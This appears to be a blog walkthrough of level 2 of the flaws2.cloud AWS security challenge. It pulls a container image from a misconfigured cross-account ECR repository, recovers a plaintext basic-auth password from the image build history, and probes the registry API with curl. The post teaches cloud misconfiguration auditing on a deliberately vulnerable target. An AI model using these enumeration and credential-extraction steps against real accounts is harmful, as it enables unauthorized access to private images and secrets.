6 minute read Published:

Level 2

Now we have a container-based application running at container.target.flaws2.cloud. The hint is that the repository containing its image is called “level2”.

Note: you will need your own AWS account to give yourself access to ECR.

Explore the application

We go to container.target.flaws2.cloud with a browser and all we get is a basic auth prompt. Let’s just assume it is uncrackable.

IMG 01

Checking out the details we can see it is hosted on Ubuntu, with nginx 1.10.3:

 # curl -i http://container.target.flaws2.cloud/
HTTP/1.1 401 Unauthorized
Server: nginx/1.10.3 (Ubuntu)
Date: Thu, 21 Nov 2019 15:36:25 GMT
Content-Type: text/html
Content-Length: 204
Connection: keep-alive
WWW-Authenticate: Basic realm="Restricted Content"

<head><title>401 Authorization Required</title></head>
<body bgcolor="white">
<center><h1>401 Authorization Required</h1></center>
<hr><center>nginx/1.10.3 (Ubuntu)</center>

Our usual DNS check reveals that the site is powered by EC2:

 # dig container.target.flaws2.cloud
container.target.flaws2.cloud. 299 IN   A
 # dig -x
... 299  IN      PTR     ec2-3-85-224-200.compute-1.amazonaws.com.

The fact that there is no region in the DNS name means the region is “us-east-1”, also called “US East (N. Virginia)” (see AWS docs on VPC and DNS). Run export AWS_DEFAULT_REGION=us-east-1 to make your client use it.

Testing for ECR repositories

Now create yourself an IAM user inside your own AWS account. Make sure it has programmatic access (for API access with keys) and give it the “AmazonEC2ContainerRegistryFullAccess” policy, which is Amazons pre-built policy allowing you to do anything with ECR. Compare the screenshot below to see how to attach the policy.

IMG 02

When done, note the key and secret and also source them into your shell session:

 # export AWS_ACCESS_KEY_ID=<put-key-id-here>
 # export AWS_SECRET_ACCESS_KEY=<put-secret-here>

In the previous level we learned the AWS account ID, which is “653711331788”. We could now attempt to describe repositories with aws ecr describe-repositories --registry-id 653711331788. However we only get access denied back.

Still this does not mean we can’t access a repository if we happen to know the name. It is a common use case to grant other AWS accounts read or write access to specific repositories (see the AWS knowlege base and documentation).

We could just go through a list of probable names and test access. In this case, the hint tells us to look for one called “level2”. And indeed, the user inside our account can describe the images in the target account’s “level2” repository. We find one image:

 # aws ecr describe-images --registry-id 653711331788 --repository-name level2
    "imageDetails": [
            "registryId": "653711331788",
            "repositoryName": "level2",
            "imageDigest": "sha256:513e7d8a5fb9135a61159fbfbc385a4beb5ccbd84e5755d76ce923e040f9607e",
            "imageTags": [
            "imageSizeInBytes": 75937660,
            "imagePushedAt": 1543289656.0

Logging into ECR

Now we try to download the image. First we need credentials to log into the repository with a local Docker client. The output is very long so I have shortened it below:

 # aws ecr get-login --registry-ids 653711331788
docker login -u AWS -p eyJw...MDN9 -e none https://653711331788.dkr.ecr.us-east-1.amazonaws.com

You need the Docker CLI installed to use it. Note you may have to delete “-e none” if your client does not know the flag. If it works it should say “Login Succeeded”, possibly also complaining about the fact that we just passed a password as a command line argument (see pspy to understand why that may be a bad idea).

Go ahead an pull the image:

 # docker pull 653711331788.dkr.ecr.us-east-1.amazonaws.com/level2:latest
latest: Pulling from level2
7b8b6451c85f: Pull complete
ab4d1096d9ba: Pull complete
e6797d1788ac: Pull complete
e25c5c290bde: Pull complete
96af0e137711: Pull complete
2057ef5841b5: Pull complete
e4206c7b02ec: Pull complete
501f2d39ea31: Pull complete
f90fb73d877d: Pull complete
4fbdfdaee9ae: Pull complete
Digest: sha256:513e7d8a5fb9135a61159fbfbc385a4beb5ccbd84e5755d76ce923e040f9607e
Status: Downloaded newer image for 653711331788.dkr.ecr.us-east-1.amazonaws.com/level2:latest

Inspect the image and you find quite some details about how it is used:

 # docker inspect 653711331788.dkr.ecr.us-east-1.amazonaws.com/level2:latest
        "Id": "sha256:2d73de35b78103fa305bd941424443d520524a050b1e0c78c488646c0f0a0621",
        "RepoTags": [ "653711331788.dkr.ecr.us-east-1.amazonaws.com/level2:latest" ],
        "RepoDigests": [ "653711331788.dkr.ecr.us-east-1.amazonaws.com/[email protected]:513e7d8a5fb9135a61159fbfbc385a4beb5ccbd84e5755d76ce923e040f9607e" ],
        "Created": "2018-11-27T03:32:59.959842964Z",
        "Container": "ac1212c533fd9920b36cf3518caeb27b07e5efca6d40a0cfb07acc94c3f02055",
        "ContainerConfig": {
            "Hostname": "ac1212c533fd",
            "ExposedPorts": { "80/tcp": {} },
            "Cmd": [ "/bin/sh", "-c", "#(nop) ", "CMD [\"sh\" \"/var/www/html/start.sh\"]" ],
        "Os": "linux",

Check out the history to see how it was built (add --no-trunc for full output, which is looooong):

 $ docker image history 653711331788.dkr.ecr.us-east-1.amazonaws.com/level2:latest
IMAGE               CREATED             CREATED BY                                      SIZE                COMMENT
2d73de35b781        11 months ago       /bin/sh -c #(nop)  CMD ["sh" "/var/www/html/…   0B
<missing>           11 months ago       /bin/sh -c #(nop)  EXPOSE 80                    0B
<missing>           11 months ago       /bin/sh -c #(nop) ADD file:d29d68489f34ad718…   49B
<missing>           11 months ago       /bin/sh -c #(nop) ADD file:f8fd45be7a30bffa5…   614B
<missing>           11 months ago       /bin/sh -c #(nop) ADD file:fd3724e587d17e4bc…   1.89kB
<missing>           11 months ago       /bin/sh -c #(nop) ADD file:b311a5fa51887368e…   999B
<missing>           11 months ago       /bin/sh -c htpasswd -b -c /etc/nginx/.htpass…   45B
<missing>           11 months ago       /bin/sh -c apt-get update     && apt-get ins…   85.5MB
<missing>           12 months ago       /bin/sh -c #(nop)  CMD ["/bin/bash"]            0B
<missing>           12 months ago       /bin/sh -c mkdir -p /run/systemd && echo 'do…   7B
<missing>           12 months ago       /bin/sh -c rm -rf /var/lib/apt/lists/*          0B
<missing>           12 months ago       /bin/sh -c set -xe   && echo '#!/bin/sh' > /…   745B
<missing>           12 months ago       /bin/sh -c #(nop) ADD file:efec03b785a78c01a…   116MB

One line contains “htpasswd”, which is interesting. In the --no-trunc output you would find the following content: /bin/sh -c htpasswd -b -c /etc/nginx/.htpasswd flaws2 secret_password. Looks like we got the password. Type these credentials (flaws2 / secret_password) into the prompt and you get to the final page. It tells you where the next level is:

IMG 03

A good developer may not have left the password in plaintext in the dockerfile. If that had been the case, we could also just extract the image and read the source. Check out the files:

/tmp/flaws2 # docker create --name="flaws2-level2" 653711331788.dkr.ecr.us-east-1.amazonaws.com/level2:latest
/tmp/flaws2 # docker export flaws2-level2 | tar -x
lots of errors
/tmp/flaws2 # ls
bin/  boot/  dev/  etc/  home/  lib/  lib64/  media/  mnt/  opt/  proc/  root/  run/  sbin/  srv/  sys/  tmp/  usr/

Check the startup script:

/tmp/flaws2 # cat var/www/html/start.sh
python /var/www/html/proxy.py &

This proxy.py file is a small python web server serving pages out of the directory it is in:

import SocketServer
import SimpleHTTPServer
import urllib
import os

PORT = 8000

class Proxy(SimpleHTTPServer.SimpleHTTPRequestHandler):
  def do_GET(self):
    self.send_header("Content-type", "text/html")

    # Remove starting slash
    self.path = self.path[1:]

    # Read the remote site
    response = urllib.urlopen(self.path)
    the_page = response.read(8192)

    # Return it

httpd = SocketServer.ForkingTCPServer(('', PORT), Proxy)
print "serving at port", PORT

There is a file “var/www/html/index.htm” with the link inside:

<!DOCTYPE html>
<html lang="en">
<div class="content">
    <div class="row">
        <div class="col-sm-12">
            <center><h1>Level 3</h1></center>
            Read about Level 3 at <a href="http://level3-oc6ou6dnkw8sszwvdrraxc5t5udrsw3s.flaws2.cloud">level3-oc6ou6dnkw8sszwvdrraxc5t5udrsw3s.flaws2.cloud</a>


Bonus - Registry via HTTP API

We have not been able to list repositories via the AWS API. Will the Registry API we just logged into allow us to do it? Get a token and try:

 # export TOKEN=$(aws ecr get-authorization-token --registry-id 653711331788 --output text --query 'authorizationData[].authorizationToken')
 # echo $TOKEN
 # curl -i -H "Authorization: Basic $TOKEN" https://653711331788.dkr.ecr.us-east-1.amazonaws.com/v2/
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Date: Thu, 21 Nov 2019 16:37:11 GMT
Docker-Distribution-Api-Version: registry/2.0
Content-Length: 0
Connection: keep-alive

This confirms AWS uses a v2 Docker registry. Technically this should now support a call to list all repositories (see Docker documentation). However, AWS properly integrated IAM security. We cannot just list the repositories through registry calls:

 # curl -i -H "Authorization: Basic $TOKEN" https://653711331788.dkr.ecr.us-east-1.amazonaws.com/v2/_catalog
HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8
Date: Thu, 21 Nov 2019 16:39:12 GMT
Docker-Distribution-Api-Version: registry/2.0
Content-Length: 206
Connection: keep-alive

{"errors":[{"code":"DENIED","message":"User: arn:aws:iam::692779772500:user/delete-me is not authorized to perform: ecr:DescribeRepositories on resource: arn:

Listing tags the image “level2” is perfectly possible though, in accordance with our IAM permissions:

 # curl -i -H "Authorization: Basic $TOKEN" https://653711331788.dkr.ecr.us-east-1.amazonaws.com/v2/level2/tags/list
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Date: Thu, 21 Nov 2019 16:42:38 GMT
Docker-Distribution-Api-Version: registry/2.0
Content-Length: 35
Connection: keep-alive